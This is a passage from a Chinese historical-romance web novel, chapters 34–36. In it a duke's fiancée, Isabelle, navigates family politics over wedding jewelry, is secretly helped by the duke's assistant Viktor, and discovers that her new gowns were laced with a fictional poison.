“海因里希。”她忽然喊他名字。 “又干什么?”他头也不回。 “你认为我们不应该做夫妻,那我想有一种身份也许适合。”伊莎贝尔平静道。 海因里希眸光微顿,“什么?” “搭档。”伊莎贝尔淡淡道,“做一对没有感情,但能够并肩战斗的搭档。” 海因里希没有说话。 夜风吹拂他的黑发,立体的五官以及象牙白的肤色在月光下赏心悦目,如同古典艺术家的雕塑作品。 离开旷野草地,城堡近在眼前,他们不再有看星星的自由。又要衣冠整洁,冠以公爵先生、公爵夫人的名号,奔赴没有硝烟的战场。 海因里希在查尔维斯长大,早就习惯了尔虞我诈。 二十几年的人生里,还是第一次有人和他说:要不要做搭档。 他凝视着马背上的伊莎贝尔,移开视线,冷哼:“随便。但愿你别拖我后腿,搭档小姐。” 伊莎贝尔淡定回敬:“同样的话送还给你,搭档先生。” 布莱克打了个响鼻,也参与谈话,被海因里希塞了一把嫩草堵住嘴,只好嚼嚼嚼。满脑袋小辫子随着晚风摇晃。 苍穹之下,夜幕笼罩。 两人一马共同走向灯火辉煌的城堡。 第34章 城堡内, 歌舞升平。 路易莎和菲利普夫妇说完话,发觉身边少了许多人。 诺曼小姐和海因里希从开场就不见人影,现在埃德蒙也不知道哪里去了。 路易莎找了醉酒的借口去休息室找人, 刚上楼梯转角,就听见有声音传来。 “今天的一切足以说明这个女人不同寻常, 为了避免意外, 请在婚礼前, 让她消失。” “我明白。”这句来自埃德蒙。 路易莎眸光微顿,高跟鞋踩在地面的声响惊动谈话人。 在她登上最后的台阶时,只看见苍白纤细带有月牙红痕的手递过一只瓷瓶给埃德蒙,随后裙摆飘然而去。 显然是个女人。 “路易莎?”埃德蒙敏锐回头, 不动声色地拢住掌心。 路易莎扫了一眼:“又是她?” 埃德蒙目光躲闪:“是。” “连我也要瞒吗,埃德蒙?”路易莎盯着他。 埃德蒙蹙眉, 上前抱住路易莎,亲吻她的发顶:“不, 亲爱的。我知道你厌恶这些事,所以……” “是的,我厌恶以直白的手段解决纷争,所以上次我不同意你动手。”路易莎推开他,语气认真,“更重要的是,和她合作,是与虎谋皮。只怕到最后,你也成了她的垫脚石。” 埃德蒙垂眸:“别担心,路易莎,我明白我在做什么。” “不!你不明白!”她顿了顿,抚摸着埃德蒙的脸,叹了口气,“埃德,你忘了求婚的时候怎么承诺我的吗?从前的罪孽就让它随风飘散吧,别和海因斗了。以后我们好好生活。” 埃德蒙脸色陡然阴沉,猛地推开路易莎的手。 “闭嘴!除非海因里希跪在我脚边求饶!否则……这辈子我都走不出那一天!” 路易莎被他眼底的暴怒骇住。 埃德蒙反复呼吸数次,才压制住情绪,重新握紧路易莎的手亲吻:“抱歉,亲爱的,我不该对你发脾气。我知道,这一路你帮了我很多。接下来的事都不用你插手,等我报了仇,我们就好好生活……” 路易莎被他揽进怀里,听着耳边的絮絮叨叨,眼睛里却没有了从前的神采。 不知道从什么时候开始,当年那个幽默俊美的男人,逐渐被仇恨折磨得不人不鬼,连她也没法将他拖出那个泥沼,只能看着对方步步深陷。 路易莎闭上眼,泪水滑进他的衣领,悄无声息- 斯宾塞家族在墨伦维克的社交活动终于告一段落。 回到查尔维斯庄园的那天,薇奥莱特老夫人吩咐管家安德鲁准备了丰盛的晚餐。 “噢,菲利普府上可没几个好厨子,这是我预想到的。吃吧孩子们,派翠特厨娘发誓要大展身手,生怕你们在外面玩久了就忘记查尔维斯的好处。”薇奥莱特挑眉,举起酒杯。 伊莎贝尔微笑,举起酒杯:“敬派翠特厨娘。” 路易莎和埃德蒙:“敬查尔维斯。” 众人目光聚焦在没动静的海因里希身上。 薇奥莱特:“海因?” 桌面下,伊莎贝尔伸出左手,狠狠一掐。 正在进食的海因里希倏然坐直,杯盘碰撞发出当啷声响。 “……” 海因里希瞪着伊莎贝尔,后者不闪不避,甚至还冲他微笑。 “薇奥莱特女士正在和你说话。” 海因里希深呼吸,翻了个白眼,随意举起杯,“敬祖母。” 薇奥莱特这才满意地抿了口红酒。 晚餐时的闲聊即将结束,老夫人状似不经意问道:“这次菲利普的婚礼办得如何?” 众人沉默。 薇奥莱特向来讨厌私生女索菲娅,这个问题看似在问菲利普,实则醉翁之意不在酒。 伊莎贝尔当然不当出头鸟。 海因里希最烦聊天,更懒得应答。 就剩埃德蒙和路易莎。 埃德蒙本想顺着老太太的心思,贬两句布伦瑞克家。没想到路易莎先开口:“很盛大,女王亲临,大主教证婚,新郎新娘很般配。” 埃德蒙皱眉,疑惑地盯着妻子。 伊莎贝尔默不作声扫了眼夫妻俩。 薇奥莱特果然不高兴,冷哼道:“噢,那真是大场面。但愿新娘身上的珠宝别小家子气,尤其是头冠,听说布伦瑞克家可没继承什么好东西。” “奶奶,贝琪当天戴的头冠是新定做的,价值不菲。”路易莎自顾自吃菜,丝毫不像往日那样顾及老夫人的情绪,更不顾丈夫的眼色,“索菲娅姑妈为了这桩婚礼可是花费不少心血。” “新做的?”薇奥莱特像听见了什么笑话,白眼翻到天上,“恐怕在场的人要笑掉大牙了,任何有体面的贵族祖上都流传了几件叫得上名字的古董。堂堂公爵夫人的婚礼居然要用新头冠,呵!” 她笑完又叹了口气,挑眉:“唉,也不怪索菲娅,能傍上老布伦瑞克一个末流伯爵,已经是她最大的能耐了。” 按照惯例,路易莎这个时候就要捧场踩两句索菲娅。 可她却微笑道:“奶奶,和您预计的相反,在场的贵妇有不少都在向索菲娅姑妈打听那顶新头冠,现在这个年头,能用新的,谁还用旧的?” 薇奥莱特脸色沉了下去。 路易莎恍如未觉,看向伊莎贝尔:“你说对吗?即将成婚的新娘?” 伊莎贝尔丝滑颔首:“无论新的还是旧的,只要满怀亲人的祝福,都是好的。” 路易莎不在意她的回答,径直起身向薇奥莱特行礼告退。 埃德蒙慢半拍,赶紧追了出去。 薇奥莱特瞪着走远的二人,良久才不可置信地“哈”了一声,吩咐埃莉诺:“明天记得找家庭医生过来给路易莎看看吧,别是去一趟墨伦维克脑子摔坏了!” 埃莉诺:“……” 她隐晦地扫了眼伊莎贝尔,庆幸老夫人暂时不知道另一位孙媳妇在首都贡献的名场面。 席间陷入诡异的沉闷,伊莎贝尔佯装什么也没听见,海因里希还在坦然地进食。 薇奥莱特看向伊莎贝尔,抬高下巴:“奥黛丽,说说吧,你的婚礼珠宝不会也想要新做的吧?” 伊莎贝尔眸光微动,正要回答,却被海因里希打断:“您把准备好的送到她房间,先看了再做决定。” 薇奥莱特冷哼:“那可是我成婚的时候戴的,上面的累斯顿祖母绿放眼整个锡兰也找不到更好的!” 海因里希头也不抬:“但跟我结婚的又不是您,您再满意也没用,奶奶。” “噢!乱说话的混小子!真庆幸你没忘记我是你祖母!”薇奥莱特满口抱怨,转头还是吩咐道,“埃莉诺,等珠宝运过来后,记得给未来公爵夫人过目。” 她加重了“公爵夫人”的读音。 埃莉诺颔首:“是,老夫人。” 薇奥莱特不悦地看着两个年轻人:“但愿你们身为贵族的审美还在。” 说着,她起身离席。 伊莎贝尔和海因里希也同时起身目送。 等老太太离开,海因里希瞥向伊莎贝尔:“还不走吗?大戏已经落幕了。” “不着急,搭档先生。”伊莎贝尔挑眉,“听说之前路易莎结婚,也是由薇奥莱特夫人操办。事关斯宾塞家的脸面,想来不至于亏待我,你何必再驳斥老人家,让她不痛快。” “看不出来你还是个善解人意的孙媳妇?”海因里希翻个白眼,“别装了,你比谁都清楚,咬牙吃苦就会有吃不完的苦,像路易莎那样。” 伊莎贝尔果然笑了笑,脸上没有意外。 路易莎从前总以温驯的面貌示人,好处是能获得大多数人的喜爱,坏处是不再有立场反驳威严的祖母。 仆人倒是顺从于她,但她头顶却始终有座大佛,这也是路易莎始终没有掌控庄园的原因之一。 面具一旦戴上,再想摘下来就不容易。 人性总是如此,坏家伙偶尔表露善意就会叫人感激涕零,老好人一旦甩脸色就犯下重罪。 伊莎贝尔已经预料到,要想掌控庄园,必须成为说一不二的主人。 薇奥莱特虽然嘴上愿意放手,但她习惯强势,要想改变绝非一日之功,只能慢慢从细微处入手。 路易莎的老好人之路是行不通的,但这也并不表明伊莎贝尔决心当坏人。 好人与坏人之间还存在着聪明人。 人与人的认知都建立在小碰撞里。看似只是婚礼珠宝的抉择,但往往一步妥协,以后就步步妥协。珠宝珍贵与否不重要,重要的是谁选择的。 海因里希如果不开口,伊莎贝尔也会用恰当的方式婉拒老夫人的意愿。 现在,未婚夫先生主动当坏人更好,伊莎贝尔乐得轻松。 毕竟,应付老夫人这种小事不值得她花费太多精力。 “搭档先生还真有搭档的自觉,已经学会为我分忧了。”伊莎贝尔坦率肯定,“谢谢。” 海因里希冷哼一声,对她的夸奖表示不屑,“别感谢太早,只是因为这场婚礼也属于我。除此之外,其他的事情别指望我插手太多。” “任何事?” “当然,任何。”海因里希语气冷酷。 “好吧。”伊莎贝尔像是根本不在意,无所谓地点点头,而后看着路易莎离开的方向,若有所思:“你刚才注意到了吗?恩爱的夫妻联盟似乎有了裂缝。” “?” 话题转移得猝不及防。 以为要迎来辩论赛的海因里希皱了皱眉,眼神古怪地盯着她。 他很高,即便弯下腰,也能俯视她。 墙上是水晶烛台映出的影子,身量纤细的女人完全被高大的男人背影笼罩其中。 伊莎贝尔不躲避他的靠近,“看着我做什么?” 冰蓝色的眼睛盯着他,距离近得能闻见她身上的玫瑰花露混合着刚才喝过的葡萄酒清香,似醉未醉。 “没什么。”海因里希率先直起身,偏开头,嗤笑道,“女士们对婚礼总是充满期待,并投以十分的重视。我以为你会更关心自己的婚礼,结果反倒对人家的事那么上心。” “形式上的婚礼,很重要吗?”伊莎贝尔挑眉,顿了顿,“还是说你需要我演得更入戏一点?” 海因里希冷哼,迈开长腿离开:“不必,这样挺好,虽然我们是搭档,但我还是希望能够保持一定的距离。” “真巧,我也这么认为。” 看着他离开的背影,伊莎贝尔耸耸肩,径直上楼。 - 时隔多日,伊莎贝尔终于有时间来自肯特郡的信。 正看到奥黛丽写她想要请婚礼画师,还邀请自己一起戴蓝宝石王冠时,门被敲响。 女仆伊迪斯和艾米丽联手将礼服架子推了进来。 “小姐,这是老夫人吩咐送来的衣服,婚礼当天的主纱还没做好,晚礼服和日常穿的已经在这里了。” “嗯,辛苦了伊迪斯,先放着吧,我一会儿再试。” “是……哈秋!哈秋!”伊迪斯突然连打几个喷嚏,颔首告退,“抱歉……” 留下艾米丽正在整理礼服,看着裙子精致的蕾丝花边,她赞叹不已:“小姐,这件紫色缎面礼裙的做工真棒!您穿了一定很惊艳!哈秋!哈秋!” 她也打了几个喷嚏,讪讪摸了摸鼻子:“就是熏香有些刺鼻,先放两天就好了。” 伊莎贝尔没在意,她正看着奥黛丽的信,忽然读到请画师和做蓝宝石头冠的事。 她垂眸轻笑,心想,来得早不如来得巧。 海因里希刚才帮她挡了老夫人一嘴,没答应用旧头冠,薇奥莱特松了口让她挑选,但可能只是给孙子台阶下,不一定愿意改变主意。 实际上,婚礼使用旧头冠无伤大雅,对贵族而言,有传承意义的珠宝反而更彰显底蕴。真要按照喜好选,伊莎贝尔根本不介意。 但是,她看得出来,这场婚礼珠宝的选择,恐怕还包含着薇奥莱特夫人对自己的试探。 如果连自己的婚礼都做不了主,谈什么管理庄园? 海因里希能挡住一时,挡不了一世。 此时此刻,这封来自肯特郡的信,恰好成为伊莎贝尔拒绝安排的理由。 奥黛丽希望能和姐姐戴同样的珠宝举行婚礼,到时候让画师记录留念。这对相隔甚远不知什么时候能重逢的姐妹俩来说,很有意义。 借着这个机会,伊莎贝尔不仅能满足妹妹的心愿,还能间接向老夫人表明自己的主见,拒绝得妥帖而有分寸。 思索到这里,伊莎贝尔的手指仍在无意识地摩挲纸张,没有停下。 其实,推翻旧方案并不难,难的是怎么施行新方案。 薇奥莱特夫人可不是个烂好人。 孙媳妇拒绝了她的安排,还想老太太百依百顺,帮她定做新头冠?那除非查尔维斯的太阳从西边出来。 仔细想想,恐怕薇奥莱特夫人最想看到的就是这个局面。 伊莎贝尔现在没有管理家事的权力,连多使唤几个仆人都很难,再加上她刚来汉克郡,人生地不熟,定制婚礼珠宝的流程繁琐,怎么来得及? 薇奥莱特就是料定这一点,所以面对海因里希的反驳也有恃无恐。 她把对待路易莎的方法也用在了伊莎贝尔身上,表达得隐晦,意思却明显:你们几个小孩要么乖乖听我的话,好好做二把手。要么,自己提出的问题自己去解决,解决得好,我不一定高看你,但要是没解决,还得照样回来听我的话。 揣测清楚老夫人的意思,伊莎贝尔轻勾唇角。 她可不是听话的人。 她自己有钱,缺的是顶级贵族圈的人脉和面子,但有未来公爵夫人的头衔,下点血本,加急做出来也不难。 不过……伊莎贝尔不喜欢用蛮横的方式解决问题。 就这么丁点大的事,还要费九牛二虎之力,实在是……太老实憨厚。 如果一根火柴就能引出熊熊烈火,何必要漫山遍野砍伐树木,那只会显得又累又狼狈,还让稳坐钓鱼台的老夫人看笑话。 想至此,伊莎贝尔眸光微动,看向桌边那本“查尔维斯八卦大全”。 费劲的事就交给有劲的人做吧。 搭档先生拌嘴时斗志昂扬,活力十足,让他去再合适不过,她要劳逸结合。 艾米丽蹭在伊莎贝尔身边看了奥黛丽的信,疑惑道:“小姐,你打算怎么换头冠?” 伊莎贝尔:“我想到一个好主意。” 艾米丽洗耳恭听。 伊莎贝尔莞尔:“你像上次一样,去树下求神。” 艾米丽瞪大眼睛:“您在开玩笑吗?!” 伊莎贝尔不说话,笑看着她。 艾米丽的眼神逐渐从震惊转为匪夷所思。 但出于对伊莎贝尔的无条件信任,艾米丽还是执行了这个离谱的指令,顺带把请画师的也说了。 当然,她不是真的去树下求神,而是像上次那样象征性地到处打听,最后再去湖边大树底下虔诚拜三拜。 本以为没结果,第二天,一名眼熟的男性拦住艾米丽。 男人身高腿长,穿着熨烫笔挺的西装三件套,鼻梁上架着金丝眼镜,一副中产精英模样。 “艾米丽小姐,奉薇奥莱特老夫人的命令,蓝宝石头冠正在定制中,会赶在婚期前做好。还有,宫廷画师会在今天下午到达查尔维斯,请转告诺曼小姐。” 艾米丽不可置信,眼看男人说完就要走,赶紧问道:“田螺先生!您怎么称呼?……呃,不是我是说,先生你……” 男人皱了皱眉,洁癖似的躲开艾米丽的手,礼貌而疏离道:“维克托,公爵先生的助手。没什么事我就告退了。” 说罢,不等艾米丽回答就走了。 似乎帮公爵大人办理这种跑腿小事,令维克托先生很不耐。 艾米丽被惊喜砸得头昏,兴冲冲告知伊莎贝尔,说完自己也有点疑惑:“维克托先生说他是公爵的助手,是老夫人差遣他来的。老夫人这么好吗?直接就答应你了?” 伊莎贝尔垂眸看书,挑眉笑道:“谁知道呢,斯宾塞家还是好人多啊。” 她可不会拆穿嘴硬的田螺先生,男人们总有些莫名其妙的坚持和伪装。 伊莎贝尔悠闲地翻开一页纸。 没必要揣测他们的心思,能为自己所用就好。 第35章 另一边, 维克托赶去向雇主复命,想起艾米丽脱口而出的“田螺先生”,他无奈地翻了个白眼。 这种蠢事已经不是第一次了。 身为公爵的全能助手,维克托从小接受精英教育,从没想到自己有一天会沦落到随时关注某个小女仆动态,以便随时帮她解决困难,还必须隐瞒幕后主使。 小到收集八卦整理成册,大到支出巨额资产定制莫名其妙的蓝宝石王冠……维克托现在一看到那个小女仆四处奔波打听就开始头疼。 看在丰厚薪水的份上,维克托整理好表情,敲响雇主的房门:“公爵先生, 您交代的已经办好了。” 海因里希正戴着面罩和教练击剑,闻言停下动作,随意将头发往后扒拉,甩了甩脸上的汗珠。 “你没说是我吩咐的吧?” “没说,但据我对未来夫人的判断, 我不认为这能瞒住她。” 海因里希挥退教练,仰头喝了口水, “你是说她已经猜到了?” 维克托:“我想是的。” 海因里希脸色微变,冷哼一声:“毕竟是搭档关系, 我只是看在她还算有点能力的份上,帮忙解决点小麻烦。如果再换下一个, 说不定没她聪明。” 维克托端来干毛巾,不说话。 海因里希拿起毛巾擦汗,看着他:“你为什么不说话?” 维克托面无表情:“您不需要对我解释心路历程。”“我没解释!”海因里希哽住,嗤笑,“我只是不想让她对我产生别的想法!” 顿了顿,他又补上一句:“当然, 我也没有别的想法!” 维克托沉默片刻:“……哦。” 海因里希皱眉:“你什么表情?你也别乱想!” 维克托收好毛巾,又递上温水,情绪稳定:“先生,我没有乱想。” 海因里希拿起水杯。 “但您有没有想过,夫人如果猜到您在帮她,为什么又故意派女仆散播求助消息呢?一般来说,女士采取欲擒故纵的手段,只有一个原因……” 海因里希咕咚咕咚喝水,看向维克托,后者以解答专业合同的口吻严谨道:“她爱慕您。” “噗!!” 维克托迅速闭上眼,但还是来不及,被喷个满头满脸。 “……” 海因里希咳得天昏地暗,象牙白的肤色泛起红色。 “你说什么?” 维克托漠然摘下眼镜,仔细擦拭,重新戴上:“我说,夫人喜欢您。” 海因里希已经缓过来,绷着脸冷酷道:“别乱说,维克托,查尔维斯需要女主人,但不代表我需要多余的感情纠缠。” 维克托不说话,虽然头发还在滴水,但一脸忠诚可靠。 “虽然不排除你说的可能性,可是……”海因里希无意识地摸到空水杯,仰头倒了倒,发现没水,又不经意地放回去,重新板着脸一本正经,“我会劝她别动这个心思!” 维克托看着雇主先生脸上可疑的红晕,很怀疑动心思的另有其人。 突然,海因里希不知道想到什么,冷笑摆手:“算了,她喜欢就喜欢吧,女人就是容易陷入罗曼蒂克幻想,只要我没有回应就会消停。” 维克托没有反驳雇主,“好吧,先生。” 客观上讲,抛开身份地位,斯宾塞先生拥有出众皮囊,从学生时代开始,就很受女性欢迎。 作为从小的伙伴,维克托见证了“克妻”之前的海因里希是如何应付异性的示好。 他时常疑惑,为什么姑娘们为了一张脸就能忽略雇主阁下糟糕的脾气。 冷酷、刚硬、固执……有时还很别扭,像只一言不发就呲牙凶人的藏獒。 维克托毫不留情地贴标签。 在诺曼女士到来之前,维克托很难想象会有异性能和海因里希和平共处。 从前那些可怜的姑娘们虽然开始会被脸吸引,但没有人敢真正走到他面前。 试想有只藏獒凶狠冷漠地盯着你,即便你一开始被毛发吸引,也很难克服恐惧走到面前摸摸他的头。 从这方面来说,维克托对诺曼女士心生敬佩。 心里腹诽一阵,面上却很专业,“那么先生,请问还需要执行暗中帮忙的任务吗?” 海因里希拧眉,“不用了。” 维克托松了口气,还没松到底,就听见雇主接着说,“你光明正大地帮吧!” 维克托翻白眼,但在海因里希回过头时立刻严肃颔首:“好的,先生。” 海因里希脸上的红还没褪下去,他随手抓起一本书,靠着书架投入,“行了,你没事就退下吧!” 维克托看了两眼,欲言又止。 海因里希脑子里还回响着那句“她喜欢你”,满眼的字母像天书一样看不进去。发觉有道视线还落在自己身上,他脸上一冷,不耐道:“你怎么还不走?” 维克托面无表情:“……先生,您的书拿倒了。” “……” 海因里希深吸一口气,赶紧把书倒过来。看了两行,又抬头盯着不动的维克托:“还有事?” 维克托眼神古怪,还是摇了摇头。 “有话就说!” 维克托扶了扶眼镜,沉吟片刻才道:“先生,为什么不试试呢?” 没头没尾的一句话,让室内陷入沉默。 窗外凉风吹得书页翻动,海因里希的视线却顿住。 维克托也安静地看着雇主,目光平和。 虽然会在背地里每天吐槽八百次,但从小一起长大的交情,还是让他忍不住问出这句话。 只有他知道,龇牙咧嘴的藏獒,也不总是冷酷而凶悍的。 前一秒毫不留情斩断女士的示好,背地里却会吩咐他把人家赠送的信物送回去,还得悄悄的。每当他问起缘由,藏獒又会开始吠叫,把这些主张推到他身上,好像生怕自己获得“好好先生”的荣誉。 后来,许多不明真相的小姐们移情别恋,维克托也因此度过了很受欢迎的学生时代,不过他清楚阶级差距。贵族小姐对自己的喜欢也带着一层滤镜,并不代表真的要携手一生。 真要是接受某位小姐的示好,他的饭碗就保不住了。 在维克托的人生准则里,为了爱情放弃钱,那是万万不行的。 也是因为这份清醒,这么多年来,海因里希最信任的助手就是他。 维克托明白,就像在选择助理的原则上,严格来说雇主先生并非是个多情的男人。 他很理性,却同时拥有一份奇怪的、在这个阶层罕见的赤忱。 正如他会明确拒绝那些女孩们,却又会为她们保留自尊。而这一切却不为彰显绅士风度,相反,他更希望表现得粗犷一些,最好谁也别来靠近。 作为一名冷静的藏獒观察者,维克托想起自己看过的一幅画——来自山林的猛虎细嗅蔷薇。 似乎很适合描述这样矛盾的情景。 藏獒先生很爱坐在湖边大树上看书,总是独自一个人。 很难相信,他拥有如此安静的爱好。 维克托有时候会想,藏獒的内心也许也拥有一朵蔷薇,只是不足为外人道也。 出于助手兼伙伴的良心,他才问出这句话。 ——有人愿意靠近你,为什么不试试接纳她呢? 没有人比维克托清楚,查尔维斯的藏獒从小到大,总是独自舔舐伤口。他固然坚强凶悍,并且习惯孤独,可维克托不觉得有人会喜欢一辈子这么活着。 风从窗外吹来,海因里希沉默很久,再次翻了一页,声音平静。 “我不想尝试。” 维克托沉默片刻:“你怕伤害她?” 海因里希没有回答,紧皱的眉头却表达了此刻不悦的内心。 “好的,先生,是我多嘴了。”维克托叹了口气,退出门之前说道:“记得吃药,书桌第二个抽屉里,还剩四颗,明天我去拿新的。” 海因里希一言不发,拉开抽屉吃了药。那股翻涌的情绪再次被压了下去,这时才感到些许轻松。 凉风拂面,窗外传来鸟叫声,很适合看书的天气里,海因里希却还是看不进去。 他怔了一会儿,抬头看见维克托还没走,堵着的情绪终于找到出口:“还有什么事?维克托,你今天的废话异常多。” 维克托面无表情颔首:“没事了,先生。” 他利落退出房间。 等海因里希重新调理好心情,盯着书越看越不对劲,翻到封面,赫然写着:《女仆缝补袜子的十个诀窍》。 沉默,良久的沉默。 “啪”地一声,书本狠狠合上!- 另一边,艾米丽正在和伊莎贝尔嘟囔,她上次抱着试试看的心态,夹带私货,许愿要蓝宝石王冠的时候顺便要了本《女仆缝补袜子的十个诀窍》,结果田螺先生没有掉落。 “破了就买新的,不需要缝补。” 伊莎贝尔随口应答,身子却没动。 她打扮隆重,端坐在黄铜软垫沙发上,对面的宫廷画师正在为她画像。 画师蒂洛夫来头很大,听说为很多大人物画过像。田螺先生出手大方,不止承包婚礼当天的记录,还要他把日常也画了。 “夫人,请往左侧移动,您的左脸沐浴在阳光下很有神性,说句恭维的话,这会让我想起为教皇画像的那一天,也是这么美的光线。” 蒂洛夫是个典型的圣曜教徒,他曾是记录教皇登基礼的画师之一,这件事从他进门起,已经反复说了十八遍,可以想见若干年后葬入墓园,墓志铭一定会用加黑加粗的字体标注这段丰功伟绩,再将它带到天堂奉为美谈。 伊莎贝尔笑着往左挪动,突然听见“撕拉”一声。 艾米丽惊呼:“噢!上帝啊!” 只见紫色缎面礼服不小心被沙发脚压住,裙摆撕破很长一道口子。 蒂洛夫笑着打趣:“标准的圣教徒应该说噢!我的神圣永恒曜主。” “呃……抱歉,我们民间都说得不标准。”艾米丽赶紧画十字颔首,一面小声嘟囔,“刚还说要学缝补呢,这就用到了!” 伊莎贝尔莞尔:“没关系,蒂洛夫先生快要画完了,一会儿换下来就好了。” 蒂洛夫一边为画收尾,一边笑着颔首:“是的,已经好了,请过目。” 画像上,身穿紫色宽裙摆礼服的少女面带笑容倚靠着沙发,夕阳洒在脸上,金发与蓝眼睛熠熠生辉,的确美得很有神性。 伊莎贝尔赞赏道:“画得真好。” “只是如实画出夫人的模样……哈秋!哈秋!”蒂洛夫说着,突然打了几个喷嚏,只好笑着耸肩:“噢,抱歉,您礼服的熏香有些刺激,不过紫色非常衬您,和今天的夕阳相得益彰。” 伊莎贝尔眸光微动,看了眼自己的礼服,“多谢蒂洛夫先生的赞赏,艾米丽。” 艾米丽立刻拿出准备好的润笔费,蒂洛夫照例推辞几次,最后还是收下了。临走时冲伊莎贝尔颔首:“再见夫人,期待您的盛世婚礼,听说教皇会莅临证婚,那真是至高无上的荣耀,愿圣主庇佑您。” 又对艾米丽眨眨眼,画了个十字,“再见,不标准的圣教徒女士,希望下次向主惊叹要说……” 艾米丽从善如流,摊手:“噢,我的神圣永恒曜主!蒂洛夫先生,我想我再也不会忘记这句话了。” 蒂洛夫大笑着离开。 艾米丽关上门,正要向伊莎贝尔吐槽,就见她盯着画看,不知在想什么。 “小姐,怎么了?画有问题吗?” 伊莎贝尔的目光从画上的紫色礼服移到自己的身上,“你闻到香味了吗?” 艾米丽嗅了嗅:“有啊,一开始有点呛鼻,习惯就好了。” 伊莎贝尔眸光停顿数秒,立刻道:“帮我把衣服换下来,快!” 艾米丽虽然不知道发生什么,但看见伊莎贝尔的脸色,手里的动作就不敢停。 快速换下礼服,没等艾米丽问,伊莎贝尔语速飞快道:“把新送来的所有礼服交给维克托,让他找医生检测。记住,不能找别人,也不能惊动其他人,听明白了吗?” 艾米丽愣了数秒,很快点头,快速把衣橱里的新礼服藏在脏衣篓里带了出去。 窗台边,伊莎贝尔看着楼下的艾米丽跑远。 从夕阳西下等到夜幕降临,艾米丽终于回来。 一推开门,就见艾米丽的脸色煞白:“小姐……衣服有问题。” 果然。 伊莎贝尔心往下沉,却没有丝毫震惊。 “衣服上含有名为紫藤香的毒药,长久接触会导致人体出现伤寒病的症状,越到后期越厉害,有暴毙的风险。”艾米丽声音发着抖,“幸好你只穿了一小会儿,否则……” 她不敢想下去。 伊莎贝尔面容镇定,既然得出了结果,那就好办了。 自从发现路易莎和埃德蒙有隔阂开始,她就觉得不对劲。 看来,她在墨伦维克大出风头还是刺激到了暗处的敌人。 换位思考,如果自己是想要夺权的埃德蒙,最好的动手时机就是现在。 一旦婚礼结束,伊莎贝尔成为正式的公爵夫人,管家权交到她的手里,再想像今天这样下毒可就难了。 幸好她发觉香料不对劲,上次是这样,这次也是,看来在西方宅斗中他们这一招屡试不鲜。 只是……千算万算没料到她拥有来自神秘东方的灵魂。 调香什么的,最擅长了。 想清楚关键信息,伊莎贝尔叫来艾米丽吩咐道:“明天你再让维克托帮忙,查一查以前四位未婚妻的病历。” 艾米丽迟疑:“这么久远的事情,还能查到吗?” 伊莎贝尔摇头:“不确定,只能让他试一试。还有,你去问问伊迪斯,这些礼服在送来之前,经过谁的手?” 艾米丽严肃点头:“好。” 安排完目前能做的事情,伊莎贝尔上床休息,但久久没有睡着。 并非担惊受怕,反倒是隐隐有种兴奋感,想要迫不及待地和敌人斗一斗。 —— 作者有话说:海因里希:一本正经《女仆缝补袜子的十个诀窍》jpg 伊莎贝尔:谢邀,人在庄园,未婚夫好像是个笨比怎么办? 第36章 第二天, 伊莎贝尔吩咐艾米丽约维克托在湖边见面。 那里人迹罕至,不会被人撞见。 伊莎贝尔和艾米丽到的时候,维克托已经等在大树下,看见公爵夫人,他立刻上前颔首行礼。 “夫人, 您让我调查四名公爵未婚妻的病历, 已经有结果了。”维克托递上一叠文件, 其中详尽记载了各种病案。 伊莎贝尔仔细翻看,不禁皱眉:“没有中毒或者风寒症状?” “是的。”维克托神情也凝重起来,他顿了顿, 严肃道, “给那四位女士诊治的家庭医生已经为斯宾塞家服务多年, 但……” “不排除他伪造病历的可能。”伊莎贝尔顺势接住他犹豫没说出口的话。 “是的。”维克托点头, “昨天在衣服中检测出紫藤香料的医生,是一直跟随公爵的军医,与庄园没有往来。” 伊莎贝尔赞赏道:“你很敏锐,维克托先生。” 能在第一时间反应过来, 避开庄园的医生,去请军医, 没有打草惊蛇。 维克托冷静道:“谢谢您的赞赏,一切都是公爵……” “公爵?”伊莎贝尔一边翻看着病历,漫不经心问,“你不是薇奥莱特夫人派来的吗?” 维克托愣住数秒, 极快地扫了树上一眼。 晴空万里,碧蓝的湖水倒映着微微摇曳的树影,以及树杈露出的一角衣摆。 树上的男人在心里冷哼。 幸亏他留了个心眼,没完全相信维克托的话! 看样子,未婚妻女士根本没猜到维克托是他派去帮忙的!那什么“爱慕他”“欲擒故纵”啊也是维克托胡说八道! 昨天收到艾米丽的求助,维克托就建议今天让雇主亲自亮相,反正都明牌了。 临到见面的时间,海因里希沉着脸想半天,还是不行! 未婚妻女士很可能对他产生了其他的想法,但是……他没有这方面的打算! 现在她一出事,派个人帮忙就算了,这么上赶着不请自来,多么让人误会? ! 于是,维克托一个没看住,雇主就上树了。 来不及劝说,远远就看见伊莎贝尔和艾米丽的身影,专业的助手先生只好一本正经地打掩护。 “呃,我是说……一切都是公爵老夫人的安排。”维克托面不改色。 “好的,辛苦你了维克托,也帮我感谢老夫人。”伊莎贝尔没有丝毫怀疑,点点头,“但这件事,还请你先保密,别告诉老夫人。” 维克托沉默两秒,突然也有些怀疑自己的判断。 这么拙劣的借口,轻飘飘的像一层窗纱,真有人能忍住不去戳穿? 还是说未来公爵夫人不如他所料想的聪明?真没猜到内情? 那自己这份瞒上瞒下、到处跑腿、偶尔兼职情感分析师的田螺助手工作距离结束就遥遥无期了…… 但是面上还是不动声色,颔首:“好的夫人,老夫人让我帮您的忙,往后自然都谨遵您的命令。” “噢,我正要拜托维克托先生一件事。”伊莎贝尔微笑道,“还请您问一问斯宾塞先生,能否以他的名义联系前四位未婚妻的家族,我有要事和他们商量。您知道的,他很忙,我们时常碰不到面,而我目前并没有绕过庄园众人私下传信的资格。” “这……”维克托推了推眼镜,干咳两声。 树上,海因里希想了想,皱眉:拒绝她! 突然,莫名掉落几个树果,正好砸在维克托脑袋上。 他立刻甩掉果子,正色道:“不能。” 伊莎贝尔挑眉。 “我是说,公爵恐怕不会答应。查尔维斯庄园对四位暴毙的未婚妻讳莫如深,对方家族也几乎与我们没有往来。”维克托毫无负担地抹黑雇主的形象,“众所周知,公爵先生向来不近人情、冷酷残暴、很不好打交道,即便您是他的未婚妻,他也不会为您破例做这件事的。” 树上,海因里希翻了个白眼,虽然明白维克托是在按照指令办事,但怎么感觉这小子想骂自己很久了! 伊莎贝尔眸光微动,笑了笑,没有生气的意思:“好吧,那我再想想其他办法。下次见,维克托先生。” “告辞,夫人。” 维克托恭敬颔首,转身离开。 “艾米丽。”看着维克托走远,伊莎贝尔又看向身边的小女仆,“你昨天有问到礼服经谁的手了吗?” 